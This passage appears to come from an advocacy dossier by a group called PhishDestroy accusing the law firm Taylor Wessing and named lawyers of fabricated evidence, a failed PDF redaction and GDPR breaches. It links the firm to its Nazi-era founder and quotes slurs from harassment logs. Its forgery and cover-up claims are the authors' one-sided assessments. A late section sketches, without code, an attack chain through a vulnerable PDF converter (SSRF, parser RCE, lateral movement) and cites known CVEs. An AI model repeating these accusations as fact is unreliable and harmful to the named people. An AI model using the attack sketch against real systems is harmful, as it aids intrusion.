BFCF 9E8D D295 EE01\n\nAfter publication on Medium, Dr. Patrick did not dispute a single number. He invoked the \"right to be forgotten\" under Art. 17 GDPR, and our articles were removed from Google search results. The subject of those articles was his professional work for a billion-dollar client, a capacity expressly stated in the correspondence. We regard the use of data-protection law to suppress reporting about the data exposure as an attempt to conceal the failure and obstruct independent security research. Removal from search does not correct the PDF or answer the audit.\n\nPART II. HYPOCRISY: A RAINBOW OVER \"PIDOR\"\nPublic commitments\nStonewall · LGBTQ+ inclusion\n\nTaylor Wessing is a public LGBT champion. Three years in a row — Stonewall Top 100, top 10 in the legal sector. An interview with myGwork about \"creative plans to advance LGBTQ+ inclusion.\" Posts for IDAHOBIT from the Head of Talent. The \"Head of Responsible Business\" talks about the importance of LGBTQ+ history. Dr. Patrick participates in briefings.[9]\n\nNow look at their document. Two months of claimed \"manual review.\" An automated script painted over the reporter's login zabolotov — and \"forgot\" the adjacent column. In the materials prepared by an elite firm for a legal dispute, it explicitly states in plain text:\n\nPage 444 / understand the original wording\nWhat the first row says.\nOriginal entry\npidor\nEnglish equivalent\nfaggot\n\nA homophobic slur against gay men. “Pidor” is a Latin-script transliteration. The translation makes its meaning explicit; the screenshot preserves the original entry.\n\nE06 / Page 444 · first report rowSource screenshot\nEnlarge screenshot\n[SCREENSHOT: page 444 — zabolotov | Offensive Avatar | \"pidor\"]Source 13\n\nA homophobic slur. In an official document. From a firm that is a top employer according to Stonewall. The rainbow is marketing. \"Pidor\" is their operational reality. And no, this is not an \"unfortunate accident.\" This homophobia has a pedigree.\n\nPhishDestroy / our assessment\nThis is disrespect for the law.\n\nThe issue goes beyond disrespect for an opponent. It is disrespect for the law that gives that person a right to their data. An allegation against the requester does not answer an access request. A lawyer's confidence about a future judgment does not discharge the present obligation. Corporate money does not make that obligation optional.\n\nOur position and requested scrutiny ↗\nPART III. NAZISM AT THE FOUNDATION OF THE FIRM\n\nThe firm writes on its website that it honors its history. Wikipedia mentions the founder of the German branch with a single sterile line — \"in 1954, Rüdiger Graf von der Goltz took Kurt Wessing as a partner\" — and not a word about who Goltz was. That won't do. We are filling the gap using the archives.[3][10]\n\nRüdiger Graf von der Goltz (1894–1976):\n\nApril 1, 1932: voluntarily joined the NSDAP. Party member No. 1,033,215 — before Hitler came to power.[1][2][4][5]\nUntil 1933 — lawyer for the Nazi elite: defended Joseph Goebbels in a 1930 trial and SA stormtroopers in political murder cases. Goebbels in his diaries: \"Goltz ist Knorke. Er macht uns allen Spaß\" — \"Goltz is great, he is fun for all of us.\"\n1933: President of the Pomeranian Landtag; Reich Trustee of Labour; member of the Prussian State Council appointed personally by Göring; co-founder of Hans Frank's Academy for German Law — the entity that rewrote German law to fit Nazi ideology.\n1936–1943: Reichstag Deputy for the NSDAP. Member of the Criminal Law Commission under the Reich Ministry of Justice — the very machine that legally formalized repressions, including the persecution of homosexuals under Paragraph 175, which sent men to concentration camps with a pink triangle.\n1938, the Blomberg-Fritsch affair. Goltz defended General von Fritsch against a fabricated charge of homosexuality. He won — by proving that the \"real\" homosexual was another officer, Achim von Frisch. Goltz didn't challenge the cannibalistic law. He pointed the executioners to another person.[6]\nPost-war: zero consequences. A practice in Düsseldorf. 1954 — partner Kurt Wessing. For decades, the firm bore his name: Graf von der Goltz, Wessing & Partner. His son later chaired the supervisory board of BMW. The system took care of its own.\nE07 / Archival document1938\nEnlarge the original page\nBiographical entry, cropped from the original page.\nBayerische Staatsbibliothek · printed p. 223 / scan 224.\nBavarian State Library\nThe name. The record.\n\nRüdiger Graf von der Goltz\nDer Großdeutsche Reichstag, 1938.\n\nCollection\nReichstag handbooks\nCatalogue ID\nbsb00000146\nCall number\nBA/Z 36.609-1938\nOpen the library record ↗Full-resolution scan ↗\nZBW / HWWA · Folder pe/006310\nSix documents. The full folder.\nFull scan ↗\nDOCUMENT 0000111 July 1934\nDeutsche Allgemeine Zeitung (Berlin)Keßler als Führer der Wirtschaft abberufenZBW record · No. 318 ↗\nFull scan ↗\nDOCUMENT 0000212 July 1934\nHamburger TageblattDer neue WirtschaftsführerZBW record · No. 190 ↗\nFull scan ↗\nDOCUMENT 0000313 July 1934\nDeutsche Bergwerks-Zeitung (Düsseldorf)Nach der Abberufung KeßlersZBW record · No. 160 ↗\nFull scan ↗\nDOCUMENT 0000410 November 1934\nDeutscher Reichsanzeiger und Preußischer Staatsanzeiger (Berlin)Verbandsauflösung und Preiskontrolle.ZBW record · No. 264 ↗\nFull scan ↗\nDOCUMENT 0000516 November 1934\nFrankfurter Zeitung (Frankfurt a. M.)Aufruf des Führers der Wirtschaft zum Winterhilfswerk.ZBW record · No. 584 ↗\nFull scan ↗\nDOCUMENT 000065 December 1934\nVölkischer Beobachter (Berlin)Graf von der Goltz verabschiedet sichZBW record · No. 339 ↗\n\nProvided by ZBW — Leibniz Information Centre for Economics / Hamburgisches Welt-Wirtschafts-Archiv. Dates, publication names and issue numbers are transcribed from the archival sheets. Open all six in the ZBW viewer ↗ · Archive rights statement ↗\n\n02 / Press archiveZBW · Rüdiger von der GoltzSix digitised documents03 / Archival collectionBundesarchiv · N 1548Personal papers · catalogue04 / Biographical directoryDeutsches Führerlexikon1934–1935 · page 15105 / Collection referenceBundesarchiv · N 1548Public archival inventory\nFurther archival evidence / 1933–1938\nThe appointment. The mandate. The printed law.\n\nThe record extends beyond a biographical entry. A contemporary newspaper names von der Goltz's appointment; the published commission records identify his political role; the official gazette states the institutions' mandate and the criminal provisions used by the regime.\n\nA named representative of the party.\n\nThe scholarly edition of the commission's records identifies von der Goltz as the NSDAP representative during the later deliberations. It also records his introductory contribution to the 1936 publication Das neue Strafrecht, alongside Gürtner and Freisler, and his presentation on protection of honour in the proposed criminal law. The references are precise: printed pages XVI–XVII; biography on XXVII.[16]\n\nA separate library catalogue records Nationalsozialistischer Ehrenschutz, published in Vienna in 1938, under the names Hans Frank and Rüdiger Graf von der Goltz. The title, authors and edition can be checked independently.[20]\n\nOriginal documents / inspect each page\nFour pages from the record.\nOpen full page ↗\nH01 / 1933\nVon der Goltz joins the commission.\n\nHamburgischer Correspondent · 25 November 1933 · front page\n\nThe report dated 24 November names von der Goltz among the new appointments to the Reich Ministry of Justice's criminal-law commission. The following day's newspaper supplies a contemporary record.[15]\n\nArticle crop · full newspaper page availableArchive record ↗\nOpen full page ↗\nH02 / 1934\nThe Academy's statutory mission.\n\nLaw of 11 July 1934 · RGBl. I, p. 605\n\nSection 2 assigns the Academy the implementation of the National Socialist programme throughout the field of law, in continuing cooperation with the bodies responsible for legislation.[17]\n\nOfficial gazette · complete page 605Archive record ↗\nOpen full page ↗\nH03 / 1935\nPunishment beyond an express prohibition.\n\nLaw of 28 June 1935 · RGBl. I, p. 839 · Article 1\n\nThe rewritten §2 permits punishment by analogy, invoking the underlying idea of a criminal statute and “gesundes Volksempfinden”. The provision is printed on the opening page of the same amendment that tightened §175.[18]\n\nOfficial gazette · complete page 839Archive record ↗\nOpen full page ↗\nH04 / 1935\nThe text used to persecute men.\n\nLaw of 28 June 1935 · RGBl. I, p. 841 · Article 6\n\nArticle 6 prints the revised §175 and the added §175a. The revision expanded criminalisation of sexual acts between men; §175a prescribed up to ten years in a penitentiary for the categories it listed.[18]\n\nOfficial gazette · complete page 841Archive record ↗\n\nNewspaper: original and digitisation by Staats- und Universitätsbibliothek Hamburg, issue 551, 25 November 1933, front page; collection reference PPN689065124_19331125. Legal gazette: ÖNB / ALEX, reproduced through Wikimedia Commons. The newspaper preview is an identified crop; each full page remains available.\n\nThe human consequences / documented by the US Holocaust Memorial Museum\nThe law reached into people's lives.\n\nThe 1935 revision broadened the acts punishable under §175. The US Holocaust Memorial Museum documents the case of Friedrich-Paul von Groszheim: imprisonment in 1937, renewed arrest and torture in 1938, and release made conditional on submission to castration. This is the human reality behind the printed provisions.[19]\n\nUSHMM · the law and the persecution ↗\nContinue the archival research\n\nThe Bundesarchiv lists R 61 — Akademie für Deutsches Recht among its digitised holdings. It provides a further route into the institution's files, alongside the personal papers already linked in this dossier.[22]\n\nBundesarchiv · digitised collections ↗\n\nAnd now the irony for which we simply must be published: the \"elite English history\" that the firm flaunted (a branch dating back to 1782) has split from them. The UK, Dubai, the Netherlands, Ireland, and Belgium are leaving the structure and, as of June 1, 2026, will operate under the brand Winston Taylor — an official notice hangs on their website. What remains is exactly what this dossier is about: the German core with its roots. Their ancestors. They can take their time — we will finish our academic work and help the Wikipedia community and the whole world not to make a mistake. How does their Wikipedia get by without an extensive section on the CREATOR?[10]\n\nThe Wikipedia InitiativeHistorical sources\nA call to the Wikipedia community\n\n\"The German Wikipedia page for Taylor Wessing (link) mentions their creation in 1954 by 'Graf von der Goltz' but completely sanitizes who he was. We urge editors to cross-reference his official historical profile (Rüdiger von der Goltz (Jurist)) — a member of the Nazi Criminal Law Commission and Reichstag Deputy — and integrate this into the firm's history. A top Stonewall firm cannot hide its foundation in the machinery of Paragraph 175.\"\n\nCHAPTER. ROW NO. 1\nPidor Comes First\n\nOut of 2,002 reports, Taylor Wessing selected exactly 50 to display. The first visible row is reproduced below:\n\nE08 / Row No. 1Source screenshot\nEnlarge screenshot\n[SCREENSHOT: page 444 — row No. 1: zabolotov | 2025-09 | Offensive Avatar | \"pidor\"]Source 13\n\nDetail crop of the first row. The complete supplied screenshot opens above.\n\nFirst. A homophobic slur is the calling card of their \"evidence base\". Two months of claimed \"manual review\" — and they missed row No. 1.\n\nNow look at the end of the cover letter that accompanied this attachment: \"Dieses Schreiben ist qualifiziert elektronisch signiert\" — a qualified electronic signature. Dr. Patrick Zurheide didn't \"overlook\" the document. He signed it. Under \"pidor\" lies the signature of a Doctor of Law from a Stonewall Top 100 firm.[12]\n\nE09 / The accompanying letterSource screenshot\nEnlarge screenshot\nDoc. No. 42603633 · accompanying cover letterSource 12\nWhat Their Founder Created: The Law of Pink Triangles\n\nVoting in the Reichstag from 1936 to 1943 was a ritual — they didn't \"adopt\" anything there, they rubber-stamped. The real work of Rüdiger Graf von der Goltz took place elsewhere: he was a member of the Criminal Law Commission under the Reich Ministry of Justice and a co-founder of Hans Frank's Academy for German Law — the bodies that wrote and legitimized the criminal law of the Third Reich.[1][2][5]\n\nThe jurisdiction of this machine included Paragraph 175 in its 1935 Nazi revision. The result of this machine's work is well known: around 100,000 arrests, tens of thousands of convictions, thousands of men in concentration camps — with a pink triangle on their robes, at the very bottom of the camp hierarchy, with a monstrous mortality rate.\n\nHe sat on the commission that wrote this norm, and in the academy that justified it. The 1938 Blomberg-Fritsch affair shows how he used that system: another's life as a fee.[6]\n\nThat is why row No. 1 with the word \"pidor\" under their doctor's signature is not irony. It is continuity.\n\nThe Erased Russian Trace\n\nNow the main point: what exactly did they erase to put this row first?\n\nIn the hidden 94.28% of the document lies organic reality. Russian-language harassment of a Ukrainian, spanning years, with death wishes. Verbatim from the hidden part of the logs:\n\n\"SVO SVO GOIDA ZOV ZOV ZOV SLAVA ROSSII HOHLI PIDORASI\" (May 14, 2025)\n\"Execute the hohol svo zov goida\" (May 5, 2025)\n\"He is Ukrainian Naci\" (May 7, 2025)\n\"GOOOOOOOOOL HOHLIIIIIIIII GOIDAAAAAAA\" (November 29, 2024)\n\nHundreds of such reports. Cyrillic, politics, hatred for the nationality of the account owner. Taylor Wessing painted over all of this — under the slogan of \"protecting third parties.\"\n\nThe language behind the redactions\nMost of the hidden reports were not in English.\n\nBy PhishDestroy's current estimate, approximately 64% of the redacted reports are in languages other than English. The concealed material must be read in its own languages to understand the harassment and the context removed from the visible selection.\n\nThe unit here is reports. The separate 61.58% figure measures Cyrillic-character density in the concealed material.\n\nRead the extracted examples ↗Exhibit B · source record ↗\nE10 / The erased Russian traceSource screenshot\nEnlarge screenshot\nExhibit B · dated report excerptsSource 13\n\nAnd in the visible spot, they placed 50 reports in sterile, calibrated English: \"Got a sketchy invite from this account\", \"It's acting like a phishing account\", \"This account is clearly compromised\". The chronology and nickname analysis establish why our audit identifies this visible sample as fabricated.\n\nA qualified electronic signature does not negate arithmetic. And it doesn't negate the history of the firm, which 90 years ago learned to do exactly this: erase inconvenient people from documents and substitute them with others.\n\nCHAPTER. PROFESSIONAL CONDUCT AND INSTITUTIONAL CONTROL\nThe Tribunal, the Mahiki Club, and £30,000\n\nThe record extends beyond this disclosure. It includes a published Solicitors Disciplinary Tribunal (SDT) decision and separately identified reporting in the legal press.\n\nDaniel Hutchings, a solicitor in Taylor Wessing's London office, attended the annual Society of Construction Law lunch and then the Mahiki nightclub in Mayfair. The case materials describe \"inappropriate, unwanted, and sexually motivated comments\" to a female lawyer, lewd remarks about her body and touching her waist without consent. Three episodes resulted in a £30,000 fine and an order to pay costs. This is a disciplinary outcome that must be considered alongside the firm's public commitments on professional conduct and inclusion.[7]\n\nE11 / Published tribunal judgmentSource 7 ↗\nInspect document\nFindings and sanction · page 2\nInspect document\nStatement of Full Order · page 19\nCase No. 12393-2022 · Daniel Paul Hugh HutchingsRead the complete judgment (PDF) ↗\n\nSeparately, RollOnFriday published discussion of a Taylor Wessing \"Head of Department\" who reportedly \"hooked up with a trainee\". That item concerns a reported rumour; the Hutchings matter is a tribunal decision. Both remain identified in the source record. They raise distinct questions about workplace hierarchy, supervision and the credibility of the firm's public standards.[8]\n\nThe use of professional authority against a data requester\n\nA firm charging hundreds of euros an hour asks whether \"your lawyer takes on criminal cases.\" The letters reproduced in Part I show how that authority was exercised.\n\nThe signed correspondence characterizes the opponent as a phisher, blackmailer and forger without supplying the evidence necessary to establish those accusations. The question is which internal controls authorize the use of such claims in a response to a statutory request. The professional document itself supplies the basis for examination.\n\nOur assessment: the operating model is unsafe\n\nWe regard the combination of fabricated evidence, threats, defective data protection and suppression of reporting as an institutional safety failure. Professional language and an established brand do not reduce the gravity of the conduct documented here.\n\nThese matters warrant an institutional investigation. The firm handles personal data belonging to thousands of third parties through GDPR processes. The adequacy of its supervision, release controls and response to reported failures therefore affects people far beyond this account dispute.\n\nTHE LINK: ONE PATTERN, 90 YEARS\n\nLook at how perfectly their entire history aligns. The method hasn't changed. Only the signboard has changed. Look at the complete pattern:\n\n1932–1945\t2025–2026\nLegal servicing of a repressive machine\tLegal servicing of a billion-dollar client at any cost\nForgery and procedural games (the Fritsch case)\tFabrication: 50 post-ban botnet reports instead of 1,954 real ones\nWorking within the machine that persecuted gays (§175)\t\"Pidor\" in an official document under a Stonewall rainbow flag\nProtecting the powerful, destroying the weak\tCovering up the harassment of a Ukrainian, threatening his lawyer, and harassment in the City\nImpunity after 1945\tA year of silence over a leak + the \"right to be forgotten\" against journalists\n\nThen — the uniform of the Reichstag and servicing the system. Now — a suit in the Hamburg/London office, threats under §§ of the Criminal Code, and absolute certainty of impunity.\n\nCHAPTER. PROFESSIONAL AUTHORITY IS SUBJECT TO REVIEW\n\nA doctoral title, a letterhead listing offices from Amsterdam to Shanghai and a billion-dollar client establish the professional capacity in which a lawyer acts. They do not turn that lawyer's assessment into a judicial finding, a threat into a verdict, or a black rectangle into deletion of the text beneath it.\n\nThe evidential basis for the forgery finding\n\nThe evidential grounds for our finding are set out in the chronology, nickname and text-identity analysis, supported by Exhibit B.[13]\n\nOur examination, conducted according to ISO/IEC 27037 and 27042, concludes that the evidence is fabricated on the combined grounds of chronology, probability and stylometry. A substantive response must identify an error in the records, the method or the calculation and demonstrate its effect on that conclusion. A professional title does not constitute a rebuttal.\n\nNotice makes the failure an institutional responsibility\n\nWe notified both Dr. Patrick and the firm. A year has passed. Our record identifies the following failures by Taylor Wessing during that period:\n\ndid not correct the negligent redaction of third-party personal data — the black rectangles remained black rectangles;\ndid not recall or verify the fabricated sample of 50 \"reports\" submitted to the legal process;\ndid not inform the regulator of the data leak (Art. 33 GDPR) or notify the affected third parties (Art. 34 GDPR);\ndid not conduct an internal investigation — but found the time to file a request with Google to remove our articles.\n\nContinued inaction after institutional notice is itself an institutional act. Responsibility can no longer be confined to the original preparer or signatory.\n\nA common brand requires accountable supervision\n\nTaylor Wessing describes its structure as \"Decentralised\". National offices and partners nevertheless provide services under a common professional brand. That structure must be capable of identifying who controls a disclosure, who reviews it, who receives notice of a defect and who requires corrective action. Referring the matter back to an individual partner does not answer a failure reported to the firm itself.\n\nOur assessment is that an organization which knows of these actions for a year and leaves them uncorrected ratifies them through inaction. Every partner receiving a share of the firm's profits since October 1, 2025, benefits from the continuing operation of that institution. Our criticism therefore extends to its governance and supervision, not only the signature on one letter.\n\nWhen a paid representative speaks for the court\n\nThe correspondence raises a question of public authority: what form of justice are its authors asking the requester to accept? The statement that “any court would deem the block lawful” presents the corporate client's preferred outcome as the settled answer of courts that have not examined the record. The author writes as a paid representative of that client. On what authority does he speak for the court?\n\nWe regard that posture as an attempt to replace independent scrutiny with corporate authority. Four concepts describe the institutional danger at issue:\n\n1. Corporatocracy.\n\nCorporate power displacing public decision-making. The danger is that law, legal procedure and judicial authority become instruments for securing a corporation's desired outcome, while the person asserting a statutory right is treated as an obstacle to remove.\n\n2. Privatized or commercial justice.\n\nAdjudication treated as a service purchased by an interested party. A corporation pays its advocate to represent it; that mandate supplies no authority to pronounce an independent verdict on the corporation's own conduct. Presenting advocacy as the predetermined judgment of every court collapses the distinction on which an impartial process depends.\n\n3. Plutocracy.\n\nPolitical power concentrated through wealth. The corresponding danger in legal practice is that money purchases the appearance of certainty and authority: the corporation can afford threats, prolonged correspondence and assertions of inevitable victory, while the requester is expected to abandon a right that the law grants him.\n\n4. Kleptocracy and institutional corruption.\n\nKleptocracy describes power used for private enrichment; institutional corruption concerns the diversion of an institution from its public duties toward private interests. The conflict examined here is concrete: a corporation's paid representative defends the handling of data, asserts the expected judicial outcome and participates in the response to reporting about that same handling. Our allegation of concealment makes independent scrutiny of that conflict essential.\n\nA corporate mandate is not a judicial mandate. The signed assertion about what courts will decide belongs in the referral alongside the threats of prosecution, the selected reports, the defective redaction and the response after notice. Professional status increases the responsibility attached to those statements. It supplies no immunity from examination.\n\nThis is a formal, documented escalation. Intimidation, delay or a change to Source 1's account will not terminate it. We will pursue an answer for each signed assertion and each decision documented in this dossier through the competent authorities.\n\nThe competent authorities have the final determination\n\nGerman lawyers are subject to BRAO (Federal Lawyers' Act), BORA (Professional Code of Conduct) and the duty not to mislead the court or the proceedings. Our forensic report is addressed to the Hanseatic Bar Association of Hamburg and the data-protection supervisory authorities. The firm's assertions about what a court would decide do not displace those bodies' authority.\n\nThe competent bodies determine the legal consequences of forgery, concealment and negligence. We supply the documents, the calculations and the questions requiring an answer. Our conclusion remains explicit:\n\nMathematics gives us the full right to call their forgery a forgery. A year of the firm's inaction gives us the full right to call it a corporate forgery.\n\nWe consider these methods unacceptable and dangerous. The referral requests scrutiny of the firm's conduct as a paid corporate representative: the signed statements, the handling of the evidence and the response after notice.\n\nPROFESSIONAL RESPONSIBILITY DOES NOT END AT THE SIGNATURE\nTheir own professional record\n\nTaylor Wessing presents these lawyers in the context of technology law, data protection and corporate work. Its official profile for Dr. Tobias Schelinski also records teaching positions:\n\nPeriod\tInstitution\nSince 2010\tHochschule für Angewandte Wissenschaften, Hamburg\n2011–2013\tHeinrich Heine University, Düsseldorf\nSince 2017\tNordakademie, Hamburg/Elmshorn\n\nThe teaching appointments above belong to Dr. Tobias Schelinski. They are listed on his official English-language profile. Dr. Patrick Vincent Zurheide's separate official profile describes his technology, software and data-protection practice.\n\nOur first Medium article included a comment acknowledging that we had not considered the lawyers' teaching roles. We left that correction visible. An error in our own work must remain traceable. We require the same accountability for the errors identified in the firm's documents.\n\nThe claim about what any court would decide also concerns us in the context of those teaching roles.\n\nWe take those words seriously. We do not dismiss them as casual email rhetoric or an empty bluff. In our assessment, claims made under a professional title and an electronic signature warrant a professional response and independent oversight.\n\n01 / Duty of care — Sorgfaltspflicht\n\nDocument sanitization requires the sensitive content to be removed from the released file. An opaque shape above it leaves the information extractable. For doctors of law entrusted with personal data and acting in their stated field of expertise, we regard this failure as gross negligence — grobe Fahrlässigkeit. The required check was basic; the consequences concern other people's data.\n\n02 / Security of processing — Article 32 GDPR\n\nArticle 32 requires security measures appropriate to the risk. The released PDF retained third parties' personal data inside the file delivered to the requester.\n\nOur criticism concerns the actual handling of the data, not the appearance of a privacy notice or a statement of compliance on a website. GDPR, Articles 32–34\n\n03 / The claimed review and the QA failure\n\nThe correspondence describes two months of manual preparation, including the phrase “manuell die Daten bereinigt werden mussten”. A selection or extraction check would have exposed the retained text. Our conclusion is that the claimed review did not provide the quality control the document required.\n\n04 / Notice, silence and the cover-up allegation\n\nArticle 33 requires notification of a notifiable personal-data breach without undue delay and, where feasible, within 72 hours of awareness; it contains an exception where risk to individuals is unlikely. Article 34 concerns communication to affected people where a breach is likely to result in a high risk, subject to its stated exceptions. Our position is that the handling of this exposure requires scrutiny against those duties. Official GDPR text\n\nThe missing records extend beyond a consumer account\n\nThe disclosed material is incomplete; the correspondence itself acknowledges limits to what was supplied. Our minimum estimate is that at least 35,000 pages are missing, even before additional telemetry referred to by the lawyers and records of staff access to the user's data are considered.\n\nThe account holder was also a verified Steamworks participant. His relationship with Valve therefore extended beyond that of an ordinary platform customer. The disclosed PDF does not include the tax-status and verification documents he says he provided to become eligible to publish games, nor the relevant records surrounding the $100 submission payment.\n\nWhatever the legal characterization of that payment in the United States, it does not answer the access question: what information was collected, what remains stored, who accessed it, and why was it absent from the response? Instead, the user received an 830-page disclosure with 94.28% of its content visually covered, while the material singled out as evidence remained visible.\n\nWe also ask whether this was the first request of its kind to reach an actual disclosure instead of ending in withdrawal or rejection. The wider workflow review addresses that question.\n\nFROM A PDF FAILURE TO A WIDER CORPORATE RISK\nA 2020 document engine in a 2026 investigation\n\nThe PDF producer identified in our examination is Aspose.PDF for .NET 20.8, an August 2020 release. The release number follows the year-and-month convention: 20 for 2020, 8 for August. The vendor publishes both the 20.8 release notes and the 26.9 release notes, providing the comparison cited here.\n\nThe PDF has no evaluation watermark. Our working explanation is the use of a commercial licence and a retained older build; we are not alleging that the firm used a crack or pirated software. Aspose's perpetual licensing model allows continued use of eligible versions after an update subscription ends. A lawful licence and an up-to-date processing environment are separate questions. The exact licence purchase and renewal dates are not established by the output file. Aspose licensing · Vendor explanation of renewal and perpetual use\n\nThe firm advertises expertise in IT, data and cyber matters, including work for technology and financial businesses. Those representations make the processing failure directly relevant to its professional competence. A privacy notice describes an obligation; the system that handles the data must implement it.\n\nWhat the scenario illustrates\n\nWe are modelling a risk, not reporting a successful intrusion. The scenario follows attacker-controlled content into a document converter and traces the consequences of successful parser exploitation. The supplied screenshots document the redaction failure and producer metadata; the diagram models the wider attack sequence.\n\nThe model begins with a document-production workflow that accepts profile descriptions, account names, report text and messages. The attacker places crafted content in a field carried into the data export. The access request moves that content through collection to the document worker. In the modelled vulnerable workflow, the converter processes the embedded structure and reaches the parser flaw.\n\nThree different risk paths\n\nExternal resource loading / SSRF. The SSRF branch models a converter that resolves a user-supplied resource address and permits requests to internal destinations. The request originates inside the processing environment and reaches services exposed to that worker. Cloud metadata is one sensitive destination; destination restrictions, metadata protections and network segmentation are the controls that protect it.\n\nParser memory corruption / RCE. In the RCE scenario, crafted document content reaches a vulnerable parser and triggers a memory-safety flaw. Successful exploitation gives the attacker code execution inside the document worker. The resulting foothold and its consequences are examined below.\n\nExternal stylesheet or linked resource. In the external-resource branch, the converter fetches a remote stylesheet or linked object controlled by the attacker. The request exposes its outward-facing address and processing time to the resource operator. The downloaded content enters the next parsing stage, making resource policy and parser maintenance part of the same processing boundary.\n\nConceptual risk model / no intrusion claimed\nFrom input to foothold.\nOpen diagram ↗\n01 / INPUT\nUntrusted content\nProfiles · reports · messages\n02 / COLLECTION\nData export\nRequest assembles the records\n03 / PROCESSING\nDocument worker\nParsing · conversion · export\n04 / CONDITION\nReachable parser flaw\nAffected build + crafted input\n05 / FOOTHOLD\nWorker-level execution\nWithin the process permissions\nTHE FIRST FOOTHOLD: FILES, CREDENTIALS AND INTERNAL SERVICES\nAccessible files\nService credentials\nInternal services\n01 / Input\n\nA process accepts material influenced by a third party. The content remains untrusted when it enters an official data-access workflow.\n\nControls that interrupt the attack chain\nEncode untrusted textRestrict outbound requestsPatch reachable parsersIsolate each jobLimit worker permissions\n\nThe scenario assumes a reachable vulnerability in the worker. Successful exploitation establishes the first foothold; the attacker then targets accessible data, credentials and routes deeper into the network.\n\nThe historical CVEs and their exact scope\n\nCisco Talos documented CVE-2019-5042 and CVE-2019-5066 as memory-safety vulnerabilities in Aspose.PDF for C++ 19.2. The first concerns FunctionType 0 PDF elements; the second concerns LZW-compressed streams. Both reports describe potential remote code execution and record a vendor patch on 16 September 2019.\n\nAssessing the .NET 20.8 workflow requires identifying the deployed components, their builds and the parsing paths reachable from user-controlled content. TALOS-2019-0809 / CVE-2019-5042 · TALOS-2019-0855 / CVE-2019-5066\n\nA foothold is the beginning of the intrusion\n\nOnce code execution has been obtained, the attacker acts with the worker's identity and access. Other GDPR exports, confidential client material, service credentials and internal resources exposed to that identity become immediate targets. The next phase is reconnaissance and expansion: identifying additional systems, abusing accessible credentials and seeking greater privileges. The initial process permissions define the first foothold. Containment and removal are urgent because an attacker who retains that foothold has time to search for routes deeper into the infrastructure. Data theft, lateral movement and the sale of access to ransomware operators are the downstream risks examined here.\n\nA document can appear ordinary to the person signing the accompanying letter while its automated processing has already crossed a trust boundary. That is why a qualified signature, a costly commercial library and reassuring language about manual review do not substitute for secure input handling and isolation.\n\nWhy notice cannot be treated as a one-client problem\n\nWe told the firm that we had grounds to suspect the redaction failure was not an isolated incident. Our hypothesis concerns repeated processing of a particular format of user data, rather than every file for every client. An old producer version raises questions about maintenance; the failed redaction raises a separate, directly observable question about how the release process was designed and checked.\n\nOur working conclusion is that the risk belongs to a repeatable corporate process. The investigation therefore extends beyond Dr. Patrick Zurheide to the personnel, scripts, review controls and disclosures that used the same processing route. A defect in that route calls for examination of every disclosure produced through it.\n\nThe review must trace the entire request population: replies released, requests delayed, requests abandoned after threats or accusations, and data never supplied. This case raises the question of how many requesters were deterred before reaching the disclosure stage at which the defect became visible.\n\nThis is also why notice to the firm matters. Our allegation is that Taylor Wessing and its client concealed the known exposure while leaving the wider scope unexplained. The responsible authorities must establish who knew, who had the authority to stop the process, which other disclosures were affected and what was done after notice. Responsibility follows the workflow and the decisions made about it.\n\nOUR POSITION. A RIGHT IS NOT A CORPORATE FAVOUR.\nPhishDestroy / public position and call for scrutiny\n\nWe are not asking for an account to be restored. We are asking for a process to be examined. A corporation's budget, a law firm's reputation and a lawyer's academic title do not answer the questions in these documents.\n\nWe did not enter this as a party. We will not walk away as observers.\n\nWhat makes this situation unusual is our independence from the original dispute. We did not arrive to represent Source 1. We arrived at documents whose contents, signatures and handling demanded examination. What we found has made neutrality about the conduct impossible. Our assessment is explicit: intimidation, delay, arrogance, incompetence and failure to comply with the law. The letters, the defective redaction, the notifications and the response are the basis of that assessment.\n\nWe regard the concealment of this exposure, and Dr. Patrick Zurheide's use of the right to be forgotten against reporting about it, as part of the same accountability problem. There is little we can add to the language of the letters themselves. Read them. Compare what they say about the requester, the courts and the firm's diligence with what the delivered PDF contains.\n\nSuspicion is not a licence to cancel someone's data rights. A lawyer's prediction is not a court judgment. A black rectangle is not deletion.\n\nA company cannot create a blanket exemption from Article 15 by declaring that the requester is a fraudster, a rule-breaker or a criminal. Access rights are not a reward for being a customer the company approves of. The EDPB's access guidelines address this directly: the controller should not assess the requester's intentions or refuse access merely because the data may be used in a dispute. EDPB Guidelines 01/2022 · right of access ↗\n\nThree branches. Separate responsibility.\nValve and Steam. The platform's statements, the data it holds and the material relevant to the parallel Steam investigation. The PDF supplied the evidence needed for that branch.\nTaylor Wessing and the signatories. The letters, the processing of documents, the redactions, the response to notification and the professional conduct of the people whose signatures appear on the documents. Valve cannot answer these questions in their place.\nThe wider handling of GDPR requests. The methods used in neighbouring matters, the people affected beyond this account and the systemic questions being developed in our two academic papers.\n\nResolving the account dispute does not resolve the second or third branch. Source 1 cannot settle them on our behalf. We are seeking honesty, examination and accountability. This work cannot be disposed of as a private negotiation over one customer's ban.\n\nWhat, exactly, is being taught?\n\nDr. Tobias Schelinski's published teaching appointments make the professional question broader than one letter. What are future practitioners being taught about a corporation's obligations to an individual exercising a statutory right? What does it mean when corporate counsel writes as though the outcome in any court is already known? We ask universities and the legal profession to examine those questions against Doc. No. 42282474 and Doc. No. 42603633, not against the prestige of a title.\n\nWe also ask the public, human-rights advocates and LGBTQ+ readers to examine the first visible report row. Could Dr. Patrick Zurheide fail to notice or understand that slur after the claimed two months of manual processing? Was leaving it visible a failure of review or a deliberate choice? His response found room for allegations and predictions. Where is the complete answer to the request for data? Our historical chapter and the present documents are available for readers to consider together.\n\nThe scope of the review must extend beyond this file.\n\nThis is not merely one case. In our reading, the correspondence and the choices made in the disclosure fit the historical pattern discussed above with disturbing precision. Compare what was hidden with what was left visible. Our position will not become softer because those comparisons are uncomfortable.\n\nThis is a question about the practical value of the GDPR when a corporation pays someone else to handle a request. How many requests processed by Taylor Wessing were answered completely and lawfully? How many were returned 94% blacked out, as in the case documented here? How many were prolonged until the requester no longer had the time, resources or energy to continue? Were threats or accusations used in neighbouring matters? The size of either company is irrelevant to those questions.\n\nIn our view, the service revealed here amounts to withholding data under the cover of professional authority. If corporations consider access rights commercially inconvenient, they should say openly that they want the law changed. They do not get to privately replace it with a paid prediction of what a court will do.\n\nWe call for a review of other PDFs produced through the same process, the handling of related access requests, the instructions given to those preparing the files, and the decisions taken after notification. We advised the firm to examine its PDFs. Whether that review happened, what it found and whom it notified are questions the firm must answer. The boundary of our own evidence is precisely where an authority's power to inspect becomes necessary.\n\nBeyond this file / a question for the regulator\nIf the same words appear in other files, examine the process.\n\nIf a regulator finds similarly retained homophobic slurs in neighbouring disclosures, we ask it to establish who prepared those files, who reviewed them and who authorised their release. Were the same methods used? Were the 